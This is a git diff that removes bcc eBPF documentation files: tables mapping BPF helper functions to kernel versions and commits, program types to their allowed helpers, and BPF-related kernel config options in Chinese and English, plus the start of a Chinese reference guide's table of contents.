[`af7ec1383361`](https://github.com/torvalds/linux/commit/af7ec13833619e17f03aa73a785a2f871da6d66b) -`BPF_FUNC_skc_to_udp6_sock()` | 5.9 | | [`0d4fad3e57df`](https://github.com/torvalds/linux/commit/0d4fad3e57df2bf61e8ffc8d12a34b1caf9b8835) -`BPF_FUNC_skc_to_unix_sock()` | 5.16 | | [`9eeb3aa33ae0`](https://github.com/torvalds/linux/commit/9eeb3aa33ae005526f672b394c1791578463513f) -`BPF_FUNC_snprintf()` | 5.13 | | [`7b15523a989b`](https://github.com/torvalds/linux/commit/7b15523a989b63927c2bb08e9b5b0bbc10b58bef) -`BPF_FUNC_snprintf_btf()` | 5.10 | | [`c4d0bfb45068`](https://github.com/torvalds/linux/commit/c4d0bfb45068d853a478b9067a95969b1886a30f) -`BPF_FUNC_sock_from_file()` | 5.11 | | [`4f19cab76136`](https://github.com/torvalds/linux/commit/4f19cab76136e800a3f04d8c9aa4d8e770e3d3d8) -`BPF_FUNC_sock_hash_update()` | 4.18 | | [`81110384441a`](https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4) -`BPF_FUNC_sock_map_update()` | 4.14 | | [`174a79ff9515`](https://github.com/torvalds/linux/commit/174a79ff9515f400b9a6115643dafd62a635b7e6) -`BPF_FUNC_spin_lock()` | 5.1 | | [`d83525ca62cf`](https://github.com/torvalds/linux/commit/d83525ca62cf8ebe3271d14c36fb900c294274a2) -`BPF_FUNC_spin_unlock()` | 5.1 | | [`d83525ca62cf`](https://github.com/torvalds/linux/commit/d83525ca62cf8ebe3271d14c36fb900c294274a2) -`BPF_FUNC_store_hdr_opt()` | 5.10 | | [`0813a841566f`](https://github.com/torvalds/linux/commit/0813a841566f0962a5551be7749b43c45f0022a0) -`BPF_FUNC_strncmp()` | 5.17 | | [`c5fb19937455`](https://github.com/torvalds/linux/commit/c5fb19937455095573a19ddcbff32e993ed10e35) -`BPF_FUNC_strtol()` | 5.2 | | [`d7a4cb9b6705`](https://github.com/torvalds/linux/commit/d7a4cb9b6705a89937d12c8158a35a3145dc967a) -`BPF_FUNC_strtoul()` | 5.2 | | [`d7a4cb9b6705`](https://github.com/torvalds/linux/commit/d7a4cb9b6705a89937d12c8158a35a3145dc967a) -`BPF_FUNC_sys_bpf()` | 5.14 | | [`79a7f8bdb159`](https://github.com/torvalds/linux/commit/79a7f8bdb159d9914b58740f3d31d602a6e4aca8) -`BPF_FUNC_sys_close()` | 5.14 | | [`3abea089246f`](https://github.com/torvalds/linux/commit/3abea089246f76c1517b054ddb5946f3f1dbd2c0) -`BPF_FUNC_sysctl_get_current_value()` | 5.2 | | [`1d11b3016cec`](https://github.com/torvalds/linux/commit/1d11b3016cec4ed9770b98e82a61708c8f4926e7) -`BPF_FUNC_sysctl_get_name()` | 5.2 | | [`808649fb787d`](https://github.com/torvalds/linux/commit/808649fb787d918a48a360a668ee4ee9023f0c11) -`BPF_FUNC_sysctl_get_new_value()` | 5.2 | | [`4e63acdff864`](https://github.com/torvalds/linux/commit/4e63acdff864654cee0ac5aaeda3913798ee78f6) -`BPF_FUNC_sysctl_set_new_value()` | 5.2 | | [`4e63acdff864`](https://github.com/torvalds/linux/commit/4e63acdff864654cee0ac5aaeda3913798ee78f6) -`BPF_FUNC_tail_call()` | 4.2 | | [`04fd61ab36ec`](https://github.com/torvalds/linux/commit/04fd61ab36ec065e194ab5e74ae34a5240d992bb) -`BPF_FUNC_task_pt_regs()` | 5.15 | GPL | [`dd6e10fbd9f`](https://github.com/torvalds/linux/commit/dd6e10fbd9fb86a571d925602c8a24bb4d09a2a7) -`BPF_FUNC_task_storage_delete()` | 5.11 | | [`4cf1bc1f1045`](https://github.com/torvalds/linux/commit/4cf1bc1f10452065a29d576fc5693fc4fab5b919) -`BPF_FUNC_task_storage_get()` | 5.11 | | [`4cf1bc1f1045`](https://github.com/torvalds/linux/commit/4cf1bc1f10452065a29d576fc5693fc4fab5b919) -`BPF_FUNC_tcp_check_syncookie()` | 5.2 | | [`399040847084`](https://github.com/torvalds/linux/commit/399040847084a69f345e0a52fd62f04654e0fce3) -`BPF_FUNC_tcp_gen_syncookie()` | 5.3 | | [`70d66244317e`](https://github.com/torvalds/linux/commit/70d66244317e958092e9c971b08dd5b7fd29d9cb#diff-05da4bf36c7fbcd176254e1615d98b28) -`BPF_FUNC_tcp_raw_check_syncookie_ipv4()` | 6.0 | | [`33bf9885040c`](https://github.com/torvalds/linux/commit/33bf9885040c399cf6a95bd33216644126728e14) -`BPF_FUNC_tcp_raw_check_syncookie_ipv6()` | 6.0 | | [`33bf9885040c`](https://github.com/torvalds/linux/commit/33bf9885040c399cf6a95bd33216644126728e14) -`BPF_FUNC_tcp_raw_gen_syncookie_ipv4()` | 6.0 | | [`33bf9885040c`](https://github.com/torvalds/linux/commit/33bf9885040c399cf6a95bd33216644126728e14) -`BPF_FUNC_tcp_raw_gen_syncookie_ipv6()` | 6.0 | | [`33bf9885040c`](https://github.com/torvalds/linux/commit/33bf9885040c399cf6a95bd33216644126728e14) -`BPF_FUNC_tcp_send_ack()` | 5.5 | | [`206057fe020a`](https://github.com/torvalds/linux/commit/206057fe020ac5c037d5e2dd6562a9bd216ec765)". -`BPF_FUNC_tcp_sock()` | 5.1 | | [`655a51e536c0`](https://github.com/torvalds/linux/commit/655a51e536c09d15ffa3603b1b6fce2b45b85a1f) -`BPF_FUNC_this_cpu_ptr()` | 5.10 | | [`63d9b80dcf2c`](https://github.com/torvalds/linux/commit/63d9b80dcf2c67bc5ade61cbbaa09d7af21f43f1) | -`BPF_FUNC_timer_init()` | 5.15 | | [`b00628b1c7d5`](https://github.com/torvalds/linux/commit/b00628b1c7d595ae5b544e059c27b1f5828314b4) -`BPF_FUNC_timer_set_callback()` | 5.15 | | [`b00628b1c7d5`](https://github.com/torvalds/linux/commit/b00628b1c7d595ae5b544e059c27b1f5828314b4) -`BPF_FUNC_timer_start()` | 5.15 | | [`b00628b1c7d5`](https://github.com/torvalds/linux/commit/b00628b1c7d595ae5b544e059c27b1f5828314b4) -`BPF_FUNC_timer_cancel()` | 5.15 | | [`b00628b1c7d5`](https://github.com/torvalds/linux/commit/b00628b1c7d595ae5b544e059c27b1f5828314b4) -`BPF_FUNC_trace_printk()` | 4.1 | GPL | [`9c959c863f82`](https://github.com/torvalds/linux/commit/9c959c863f8217a2ff3d7c296e8223654d240569) -`BPF_FUNC_trace_vprintk()` | 5.16 | GPL | [`10aceb629e19`](https://github.com/torvalds/linux/commit/10aceb629e198429c849d5e995c3bb1ba7a9aaa3) -`BPF_FUNC_user_ringbuf_drain()` | 6.1 | | [`205715673844`](https://github.com/torvalds/linux/commit/20571567384428dfc9fe5cf9f2e942e1df13c2dd) -`BPF_FUNC_xdp_adjust_head()` | 4.10 | | [`17bedab27231`](https://github.com/torvalds/linux/commit/17bedab2723145d17b14084430743549e6943d03) -`BPF_FUNC_xdp_adjust_meta()` | 4.15 | | [`de8f3a83b0a0`](https://github.com/torvalds/linux/commit/de8f3a83b0a0fddb2cf56e7a718127e9619ea3da) -`BPF_FUNC_xdp_adjust_tail()` | 4.18 | | [`b32cc5b9a346`](https://github.com/torvalds/linux/commit/b32cc5b9a346319c171e3ad905e0cddda032b5eb) -`BPF_FUNC_xdp_get_buff_len()` | 5.18 | | [`0165cc817075`](https://github.com/torvalds/linux/commit/0165cc817075cf701e4289838f1d925ff1911b3e) -`BPF_FUNC_xdp_load_bytes()` | 5.18 | | [`3f364222d032`](https://github.com/torvalds/linux/commit/3f364222d032eea6b245780e845ad213dab28cdd) -`BPF_FUNC_xdp_store_bytes()` | 5.18 | | [`3f364222d032`](https://github.com/torvalds/linux/commit/3f364222d032eea6b245780e845ad213dab28cdd) -`BPF_FUNC_xdp_output()` | 5.6 | GPL | [`d831ee84bfc9`](https://github.com/torvalds/linux/commit/d831ee84bfc9173eecf30dbbc2553ae81b996c60) -`BPF_FUNC_override_return()` | 4.16 | GPL | [`9802d86585db`](https://github.com/torvalds/linux/commit/9802d86585db91655c7d1929a4f6bbe0952ea88e) -`BPF_FUNC_sock_ops_cb_flags_set()` | 4.16 | | [`b13d88072172`](https://github.com/torvalds/linux/commit/b13d880721729384757f235166068c315326f4a1) - -Note: GPL-only BPF helpers require a GPL-compatible license. The current licenses considered GPL-compatible by the kernel are: - -* GPL -* GPL v2 -* GPL and additional rights -* Dual BSD/GPL -* Dual MIT/GPL -* Dual MPL/GPL - -Check the list of GPL-compatible licenses in your [kernel source code](https://github.com/torvalds/linux/blob/master/include/linux/license.h). - -## Program Types -The list of program types and supported helper functions can be retrieved with: -```sh -git grep -W 'func_proto(enum bpf_func_id func_id' kernel/ net/ drivers/ -``` - -|Program Type| Helper Functions| -|------------|-----------------| -|`BPF_PROG_TYPE_SOCKET_FILTER`|`BPF_FUNC_skb_load_bytes()`
`BPF_FUNC_skb_load_bytes_relative()`
`BPF_FUNC_get_socket_cookie()`
`BPF_FUNC_get_socket_uid()`
`BPF_FUNC_perf_event_output()`
`Base functions`| -|`BPF_PROG_TYPE_KPROBE`|`BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_stackid()`
`BPF_FUNC_get_stack()`
`BPF_FUNC_perf_event_read_value()`
`BPF_FUNC_override_return()`
`Tracing functions`|".|`BPF_PROG_TYPE_SCHED_CLS`
`BPF_PROG_TYPE_SCHED_ACT`|`BPF_FUNC_skb_store_bytes()`
`BPF_FUNC_skb_load_bytes()`
`BPF_FUNC_skb_load_bytes_relative()`
`BPF_FUNC_skb_pull_data()`
`BPF_FUNC_csum_diff()`
`BPF_FUNC_csum_update()`
`BPF_FUNC_l3_csum_replace()`
`BPF_FUNC_l4_csum_replace()`
`BPF_FUNC_clone_redirect()`
`BPF_FUNC_get_cgroup_classid()`
`BPF_FUNC_skb_vlan_push()`
`BPF_FUNC_skb_vlan_pop()`
`BPF_FUNC_skb_change_proto()`
`BPF_FUNC_skb_change_type()`
`BPF_FUNC_skb_adjust_room()`
`BPF_FUNC_skb_change_tail()`
`BPF_FUNC_skb_get_tunnel_key()`
`BPF_FUNC_skb_set_tunnel_key()`
`BPF_FUNC_skb_get_tunnel_opt()`
`BPF_FUNC_skb_set_tunnel_opt()`
`BPF_FUNC_redirect()`
`BPF_FUNC_get_route_realm()`
`BPF_FUNC_get_hash_recalc()`
`BPF_FUNC_set_hash_invalid()`
`BPF_FUNC_set_hash()`
`BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_smp_processor_id()`
`BPF_FUNC_skb_under_cgroup()`
`BPF_FUNC_get_socket_cookie()`
`BPF_FUNC_get_socket_uid()`
`BPF_FUNC_fib_lookup()`
`BPF_FUNC_skb_get_xfrm_state()`
`BPF_FUNC_skb_cgroup_id()`
`Base functions`| -|`BPF_PROG_TYPE_TRACEPOINT`|`BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_stackid()`
`BPF_FUNC_get_stack()`
`BPF_FUNC_d_path()`
`Tracing functions`| -|`BPF_PROG_TYPE_XDP`| `BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_smp_processor_id()`
`BPF_FUNC_csum_diff()`
`BPF_FUNC_xdp_adjust_head()`
`BPF_FUNC_xdp_adjust_meta()`
`BPF_FUNC_redirect()`
`BPF_FUNC_redirect_map()`
`BPF_FUNC_xdp_adjust_tail()`
`BPF_FUNC_fib_lookup()`
`Base functions`| -|`BPF_PROG_TYPE_PERF_EVENT`| `BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_stackid()`
`BPF_FUNC_get_stack()`
`BPF_FUNC_perf_prog_read_value()`
`Tracing functions`|| `BPF_PROG_TYPE_CGROUP_SKB` | `BPF_FUNC_skb_load_bytes()`
`BPF_FUNC_skb_load_bytes_relative()`
`BPF_FUNC_get_socket_cookie()`
`BPF_FUNC_get_socket_uid()`
`Base functions` | -| `BPF_PROG_TYPE_CGROUP_SOCK` | `BPF_FUNC_get_current_uid_gid()`
`Base functions` | -| `BPF_PROG_TYPE_LWT_IN` | `BPF_FUNC_lwt_push_encap()`
`LWT functions`
`Base functions` | -| `BPF_PROG_TYPE_LWT_OUT` | `LWT functions`
`Base functions` | -| `BPF_PROG_TYPE_LWT_XMIT` | `BPF_FUNC_skb_get_tunnel_key()`
`BPF_FUNC_skb_set_tunnel_key()`
`BPF_FUNC_skb_get_tunnel_opt()`
`BPF_FUNC_skb_set_tunnel_opt()`
`BPF_FUNC_redirect()`
`BPF_FUNC_clone_redirect()`
`BPF_FUNC_skb_change_tail()`
`BPF_FUNC_skb_change_head()`
`BPF_FUNC_skb_store_bytes()`
`BPF_FUNC_csum_update()`
`BPF_FUNC_l3_csum_replace()`
`BPF_FUNC_l4_csum_replace()`
`BPF_FUNC_set_hash_invalid()`
`LWT functions` | -| `BPF_PROG_TYPE_SOCK_OPS` | `BPF_FUNC_setsockopt()`
`BPF_FUNC_getsockopt()`
`BPF_FUNC_sock_ops_cb_flags_set()`
`BPF_FUNC_sock_map_update()`
`BPF_FUNC_sock_hash_update()`
`BPF_FUNC_get_socket_cookie()`
`Base functions` | -| `BPF_PROG_TYPE_SK_SKB` | `BPF_FUNC_skb_store_bytes()`
`BPF_FUNC_skb_load_bytes()`
`BPF_FUNC_skb_pull_data()`
`BPF_FUNC_skb_change_tail()`
`BPF_FUNC_skb_change_head()`
`BPF_FUNC_get_socket_cookie()`
`BPF_FUNC_get_socket_uid()`
`BPF_FUNC_sk_redirect_map()`
`BPF_FUNC_sk_redirect_hash()`
`BPF_FUNC_sk_lookup_tcp()`
`BPF_FUNC_sk_lookup_udp()`
`BPF_FUNC_sk_release()`
`Base functions` | -| `BPF_PROG_TYPE_CGROUP_DEVICE` | `BPF_FUNC_map_lookup_elem()`
`BPF_FUNC_map_update_elem()`
`BPF_FUNC_map_delete_elem()`
`BPF_FUNC_get_current_uid_gid()`
`BPF_FUNC_trace_printk()` ||`BPF_PROG_TYPE_SK_MSG`|`BPF_FUNC_msg_redirect_map()`
`BPF_FUNC_msg_redirect_hash()`
`BPF_FUNC_msg_apply_bytes()`
`BPF_FUNC_msg_cork_bytes()`
`BPF_FUNC_msg_pull_data()`
`BPF_FUNC_msg_push_data()`
`BPF_FUNC_msg_pop_data()`
`Base functions`| -|`BPF_PROG_TYPE_RAW_TRACEPOINT`|`BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_stackid()`
`BPF_FUNC_get_stack()`
`BPF_FUNC_skb_output()`
`Tracing functions`| -|`BPF_PROG_TYPE_CGROUP_SOCK_ADDR`|`BPF_FUNC_get_current_uid_gid()`
`BPF_FUNC_bind()`
`BPF_FUNC_get_socket_cookie()`
`Base functions`| -|`BPF_PROG_TYPE_LWT_SEG6LOCAL`|`BPF_FUNC_lwt_seg6_store_bytes()`
`BPF_FUNC_lwt_seg6_action()`
`BPF_FUNC_lwt_seg6_adjust_srh()`
`LWT functions`| -|`BPF_PROG_TYPE_LIRC_MODE2`|`BPF_FUNC_rc_repeat()`
`BPF_FUNC_rc_keydown()`
`BPF_FUNC_rc_pointer_rel()`
`BPF_FUNC_map_lookup_elem()`
`BPF_FUNC_map_update_elem()`
`BPF_FUNC_map_delete_elem()`
`BPF_FUNC_ktime_get_ns()`
`BPF_FUNC_tail_call()`
`BPF_FUNC_get_prandom_u32()`
`BPF_FUNC_trace_printk()`| -|`BPF_PROG_TYPE_SK_REUSEPORT`|`BPF_FUNC_sk_select_reuseport()`
`BPF_FUNC_skb_load_bytes()`
`BPF_FUNC_load_bytes_relative()`
`Base functions`| -|`BPF_PROG_TYPE_FLOW_DISSECTOR`|`BPF_FUNC_skb_load_bytes()`
`Base functions`| - -|Function Group| Functions| -|------------------|-------| -|Base functions| `BPF_FUNC_map_lookup_elem()`
`BPF_FUNC_map_update_elem()`
`BPF_FUNC_map_delete_elem()`
`BPF_FUNC_map_peek_elem()`
`BPF_FUNC_map_pop_elem()`
`BPF_FUNC_map_push_elem()`
`BPF_FUNC_get_prandom_u32()`
`BPF_FUNC_get_smp_processor_id()`
`BPF_FUNC_get_numa_node_id()`
`BPF_FUNC_tail_call()`
`BPF_FUNC_ktime_get_boot_ns()`
`BPF_FUNC_ktime_get_ns()`
`BPF_FUNC_trace_printk()`
`BPF_FUNC_spin_lock()`
`BPF_FUNC_spin_unlock()` ||`Tracing functions`|`BPF_FUNC_map_lookup_elem()`
`BPF_FUNC_map_update_elem()`
`BPF_FUNC_map_delete_elem()`
`BPF_FUNC_probe_read()`
`BPF_FUNC_ktime_get_boot_ns()`
`BPF_FUNC_ktime_get_ns()`
`BPF_FUNC_tail_call()`
`BPF_FUNC_get_current_pid_tgid()`
`BPF_FUNC_get_current_task()`
`BPF_FUNC_get_current_uid_gid()`
`BPF_FUNC_get_current_comm()`
`BPF_FUNC_trace_printk()`
`BPF_FUNC_get_smp_processor_id()`
`BPF_FUNC_get_numa_node_id()`
`BPF_FUNC_perf_event_read()`
`BPF_FUNC_probe_write_user()`
`BPF_FUNC_current_task_under_cgroup()`
`BPF_FUNC_get_prandom_u32()`
`BPF_FUNC_probe_read_str()`
`BPF_FUNC_get_current_cgroup_id()`
`BPF_FUNC_send_signal()`
`BPF_FUNC_probe_read_kernel()`
`BPF_FUNC_probe_read_kernel_str()`
`BPF_FUNC_probe_read_user()`
`BPF_FUNC_probe_read_user_str()`
`BPF_FUNC_send_signal_thread()`
`BPF_FUNC_get_ns_current_pid_tgid()`
`BPF_FUNC_xdp_output()`
`BPF_FUNC_get_task_stack()`| -|`LWT functions`| `BPF_FUNC_skb_load_bytes()`
`BPF_FUNC_skb_pull_data()`
`BPF_FUNC_csum_diff()`
`BPF_FUNC_get_cgroup_classid()`
`BPF_FUNC_get_route_realm()`
`BPF_FUNC_get_hash_recalc()`
`BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_smp_processor_id()`
`BPF_FUNC_skb_under_cgroup()`| \ No newline at end of file diff --git a/src/bcc-documents/kernel_config.md b/src/bcc-documents/kernel_config.md deleted file mode 100644 index c6021869..00000000 --- a/src/bcc-documents/kernel_config.md +++ /dev/null @@ -1,45 +0,0 @@ -# BPF 特性的内核配置 - -## 与 BPF 相关的内核配置 - -| 功能 | 内核配置 | 描述 | -|:----|:----------|:-----| -| **基础** | CONFIG_BPF_SYSCALL | 启用 bpf() 系统调用 | -| | CONFIG_BPF_JIT | BPF 程序通常由 BPF 解释器处理。此选项允许内核在加载程序时生成本地代码。这将显著加速 BPF 程序的处理 | -| | CONFIG_HAVE_BPF_JIT | 启用 BPF 即时编译器 | -| | CONFIG_HAVE_EBPF_JIT | 扩展 BPF JIT (eBPF) | -| | CONFIG_HAVE_CBPF_JIT | 经典 BPF JIT (cBPF) | -| | CONFIG_MODULES | 启用可加载内核模块的构建 | -| | CONFIG_BPF | BPF VM 解释器 | -| | CONFIG_BPF_EVENTS | 允许用户将 BPF 程序附加到 kprobe、uprobe 和 tracepoint 事件上 | -| | CONFIG_PERF_EVENTS | 内核性能事件和计数器 | -| | CONFIG_HAVE_PERF_EVENTS | 启用性能事件 | -| | CONFIG_PROFILING | 启用分析器使用的扩展分析支持机制 | -| **BTF** | CONFIG_DEBUG_INFO_BTF | 从 DWARF 调试信息生成去重的 BTF 类型信息 | -| | CONFIG_PAHOLE_HAS_SPLIT_BTF | 为每个选定的内核模块生成 BTF | -| | CONFIG_DEBUG_INFO_BTF_MODULES | 为内核模块生成紧凑的分割 BTF 类型信息 | -| **安全** | CONFIG_BPF_JIT_ALWAYS_ON | 启用 BPF JIT 并删除 BPF 解释器以避免猜测执行 | -| | CONFIG_BPF_UNPRIV_DEFAULT_OFF | 通过设置默认禁用非特权 BPF | -| **Cgroup** | CONFIG_CGROUP_BPF | 支持将 BPF 程序附加到 cgroup 上 | -| **网络** | CONFIG_BPFILTER | 基于 BPF 的数据包过滤框架 (BPFILTER) | -| | CONFIG_BPFILTER_UMH | 使用内嵌的用户模式助手构建 bpfilter 内核模块 | -| | CONFIG_NET_CLS_BPF | 基于可编程 BPF (JIT'ed) 过滤器进行数据包分类的基于 BPF 的分类器的替代方法 || | CONFIG_NET_ACT_BPF | 在数据包上执行BPF代码。BPF代码将决定是否丢弃数据包 | -| | CONFIG_BPF_STREAM_PARSER | 启用此功能,允许使用BPF_MAP_TYPE_SOCKMAP与TCP流解析器配合使用 | -| | CONFIG_LWTUNNEL_BPF | 在路由查找入站和出站数据包后,允许作为下一跳操作运行BPF程序 | -| | CONFIG_NETFILTER_XT_MATCH_BPF | BPF匹配将对每个数据包应用Linux套接字过滤器,并接受过滤器返回非零值的数据包 | -| | CONFIG_IPV6_SEG6_BPF | 为支持BPF seg6local挂钩,添加IPv6 Segement Routing助手 [参考](https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee7) | -| **kprobes** | CONFIG_KPROBE_EVENTS | 允许用户通过ftrace接口动态添加跟踪事件(类似于tracepoints) | -| | CONFIG_KPROBES | 启用基于kprobes的动态事件 | -| | CONFIG_HAVE_KPROBES | 检查是否启用了kprobes | -| | CONFIG_HAVE_REGS_AND_STACK_ACCESS_API | 如果架构支持从pt_regs访问寄存器和堆栈条目所需的API,则应该选择此符号。例如,基于kprobes的事件跟踪器需要此API | -| | CONFIG_KPROBES_ON_FTRACE | 如果架构支持将pt_regs完全传递给函数跟踪,则在函数跟踪器上有kprobes | -| **kprobe multi** | CONFIG_FPROBE | 启用fprobe以一次性在多个函数上附加探测点 | -| **kprobe override** | CONFIG_BPF_KPROBE_OVERRIDE | 启用BPF程序覆盖kprobed函数 | -| **uprobes** | CONFIG_UPROBE_EVENTS | 启用基于uprobes的动态事件 | -| | CONFIG_ARCH_SUPPORTS_UPROBES | 架构特定的uprobes支持 | -| | CONFIG_UPROBES | Uprobes是kprobes的用户空间对应项:它们允许仪器应用程序(如'perf probe')在用户空间二进制文件和库中建立非侵入性探测点,并在用户空间应用程序触发探测点时执行处理函数。 || | CONFIG_MMU | 基于MMU的虚拟化寻址空间支持,通过分页内存管理 | -| **Tracepoints** | CONFIG_TRACEPOINTS | 启用在内核中插入Tracepoints并与问题函数连接 | -| | CONFIG_HAVE_SYSCALL_TRACEPOINTS | 启用系统调用进入/退出跟踪 | -| **Raw Tracepoints** | Same as Tracepoints | | -| **LSM** | CONFIG_BPF_LSM | 使用BPF程序对安全钩子进行仪器化,实现动态MAC和审计策略 | -| **LIRC** | CONFIG_BPF_LIRC_MODE2 | 允许将BPF程序附加到lirc设备 | diff --git a/src/bcc-documents/kernel_config_en.md b/src/bcc-documents/kernel_config_en.md deleted file mode 100644 index 76f17e1e..00000000 --- a/src/bcc-documents/kernel_config_en.md +++ /dev/null @@ -1,47 +0,0 @@ -# Kernel Configuration for BPF Features - -## BPF Related Kernel Configurations - -| Functionalities | Kernel Configuration | Description | -|:----------------|:---------------------|:------------| -| **Basic** | CONFIG_BPF_SYSCALL | Enable the bpf() system call | -| | CONFIG_BPF_JIT | BPF programs are normally handled by a BPF interpreter. This option allows the kernel to generate native code when a program is loaded into the kernel. This will significantly speed-up processing of BPF programs | -| | CONFIG_HAVE_BPF_JIT | Enable BPF Just In Time compiler | -| | CONFIG_HAVE_EBPF_JIT | Extended BPF JIT (eBPF) | -| | CONFIG_HAVE_CBPF_JIT | Classic BPF JIT (cBPF) | -| | CONFIG_MODULES | Enable to build loadable kernel modules | -| | CONFIG_BPF | BPF VM interpreter | -| | CONFIG_BPF_EVENTS | Allow the user to attach BPF programs to kprobe, uprobe, and tracepoint events | -| | CONFIG_PERF_EVENTS | Kernel performance events and counters | -| | CONFIG_HAVE_PERF_EVENTS | Enable perf events | -| | CONFIG_PROFILING | Enable the extended profiling support mechanisms used by profilers | -| **BTF** | CONFIG_DEBUG_INFO_BTF | Generate deduplicated BTF type information from DWARF debug info | -| | CONFIG_PAHOLE_HAS_SPLIT_BTF | Generate BTF for each selected kernel module | -| | CONFIG_DEBUG_INFO_BTF_MODULES | Generate compact split BTF type information for kernel modules | -| **Security** | CONFIG_BPF_JIT_ALWAYS_ON | Enable BPF JIT and removes BPF interpreter to avoid speculative execution | -| | CONFIG_BPF_UNPRIV_DEFAULT_OFF | Disable unprivileged BPF by default by setting | -| **Cgroup** | CONFIG_CGROUP_BPF | Support for BPF programs attached to cgroups | -| **Network** | CONFIG_BPFILTER | BPF based packet filtering framework (BPFILTER) | -| | CONFIG_BPFILTER_UMH | This builds bpfilter kernel module with embedded user mode helper | -| | CONFIG_NET_CLS_BPF | BPF-based classifier - to classify packets based on programmable BPF (JIT'ed) filters as an alternative to ematches | -| | CONFIG_NET_ACT_BPF | Execute BPF code on packets. The BPF code will decide if the packet should be dropped or not | -| | CONFIG_BPF_STREAM_PARSER | Enable this to allow a TCP stream parser to be used with BPF_MAP_TYPE_SOCKMAP | -| | CONFIG_LWTUNNEL_BPF | Allow to run BPF programs as a nexthop action following a route lookup for incoming and outgoing packets | -| | CONFIG_NETFILTER_XT_MATCH_BPF | BPF matching applies a linux socket filter to each packet and accepts those for which the filter returns non-zero | -| | CONFIG_IPV6_SEG6_BPF | To support BPF seg6local hook. bpf: Add IPv6 Segment Routing helpersy. [Reference](https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee7) | -| **kprobes** | CONFIG_KPROBE_EVENTS | This allows the user to add tracing events (similar to tracepoints) on the fly via the ftrace interface | -| | CONFIG_KPROBES | Enable kprobes-based dynamic events | -| | CONFIG_HAVE_KPROBES | Check if krpobes enabled | -| | CONFIG_HAVE_REGS_AND_STACK_ACCESS_API | This symbol should be selected by an architecture if it supports the API needed to access registers and stack entries from pt_regs. For example the kprobes-based event tracer needs this API. | -| | CONFIG_KPROBES_ON_FTRACE | Have kprobes on function tracer if arch supports full passing of pt_regs to function tracing | -| **kprobe multi** | CONFIG_FPROBE | Enable fprobe to attach the probe on multiple functions at once | -| **kprobe override** | CONFIG_BPF_KPROBE_OVERRIDE | Enable BPF programs to override a kprobed function | -| **uprobes** | CONFIG_UPROBE_EVENTS | Enable uprobes-based dynamic events | -| | CONFIG_ARCH_SUPPORTS_UPROBES | Arch specific uprobes support | -| | CONFIG_UPROBES | Uprobes is the user-space counterpart to kprobes: they enable instrumentation applications (such as 'perf probe') to establish unintrusive probes in user-space binaries and libraries, by executing handler functions when the probes are hit by user-space applications. | -| | CONFIG_MMU | MMU-based virtualised addressing space support by paged memory management | -| **Tracepoints** | CONFIG_TRACEPOINTS | Enable inserting tracepoints in the kernel and connect to proble functions | -| | CONFIG_HAVE_SYSCALL_TRACEPOINTS | Enable syscall enter/exit tracing | -| **Raw Tracepoints** | Same as Tracepoints | | -| **LSM** | CONFIG_BPF_LSM | Enable instrumentation of the security hooks with BPF programs for implementing dynamic MAC and Audit Policies | -| **LIRC** | CONFIG_BPF_LIRC_MODE2 | Allow attaching BPF programs to a lirc device | diff --git a/src/bcc-documents/reference_guide.md b/src/bcc-documents/reference_guide.md deleted file mode 100644 index d4ed1c0d..00000000 --- a/src/bcc-documents/reference_guide.md +++ /dev/null @@ -1,2467 +0,0 @@ -# bcc 参考指南 - -用于搜索 (Ctrl-F) 和参考。如需教程,请从 [tutorial.md](tutorial.md) 开始。 - -该指南尚未完成。如果感觉有遗漏的内容,请查看 bcc 和内核源码。如果确认确实有遗漏,请发送拉取请求进行修复,并协助所有人。 - -## 目录 - -- [bcc 参考指南](#bcc-参考指南) - - [目录](#目录) -- [BPF C](#bpf-c) - - [Events \& Arguments](#events--arguments) - - [1. kprobes](#1-kprobes) - - [2. kretprobes](#2-kretprobes) - - [3. Tracepoints](#3-tracepoints) - - [4. uprobes](#4-uprobes) - - [6. USDT探测点](#6-usdt探测点) - - [7. 原始跟踪点](#7-原始跟踪点) - - [8. 系统调用跟踪点](#8-系统调用跟踪点) - - [9. kfuncs](#9-kfuncs) - - [10. kretfuncs](#10-kretfuncs) - - [11. LSM Probes](#11-lsm-probes) - - [12. BPF迭代器](#12-bpf迭代器) - - [数据](#数据) - - [1. bpf\_probe\_read\_kernel()](#1-bpf_probe_read_kernel) - - [2. bpf\_probe\_read\_kernel\_str()".\`\`\`shell](#2-bpf_probe_read_kernel_strshell) - - [3. bpf\_ktime\_get\_ns()](#3-bpf_ktime_get_ns) - - [4. bpf\_get\_current\_pid\_tgid()](#4-bpf_get_current_pid_tgid) - - [5. bpf\_get\_current\_uid\_gid()](#5-bpf_get_current_uid_gid) - - [6. bpf\_get\_current\_comm()](#6-bpf_get_current_comm) - - [7. bpf\_get\_current\_task()](#7-bpf_get_current_task) - - [8. bpf\_log2l()](#8-bpf_log2l) - - [9. bpf\_get\_prandom\_u32()](#9-bpf_get_prandom_u32) - - [10. bpf\_probe\_read\_user()](#10-bpf_probe_read_user) - - [11. bpf\_probe\_read\_user\_str()](#11-bpf_probe_read_user_str) - - [12. bpf\_get\_ns\_current\_pid\_tgid()](#12-bpf_get_ns_current_pid_tgid) - - [调试](#调试) - - [1. bpf\_override\_return()](#1-bpf_override_return) - - [输出](#输出) - - [1. bpf\_trace\_printk()](#1-bpf_trace_printk) - - [2. BPF\_PERF\_OUTPUT](#2-bpf_perf_output) - - [3. perf\_submit()](#3-perf_submit) - - [4. perf\_submit\_skb()](#4-perf_submit_skb) - - [5. BPF\_RINGBUF\_OUTPUT](#5-bpf_ringbuf_output) - - [6. ringbuf\_output()](#6-ringbuf_output) - - [7. ringbuf\_reserve()](#7-ringbuf_reserve) - - [8. ringbuf\_submit()](#8-ringbuf_submit) - - [9. ringbuf\_discard()](#9-ringbuf_discard) - - [Maps](#maps) - - [1. BPF\_TABLE](#1-bpf_table) - - [固定映射](#固定映射) - - [2. BPF\_HASH](#2-bpf_hash) - - [3. BPF\_ARRAY](#3-bpf_array) - - [4. BPF\_HISTOGRAM](#4-bpf_histogram) - - [5. 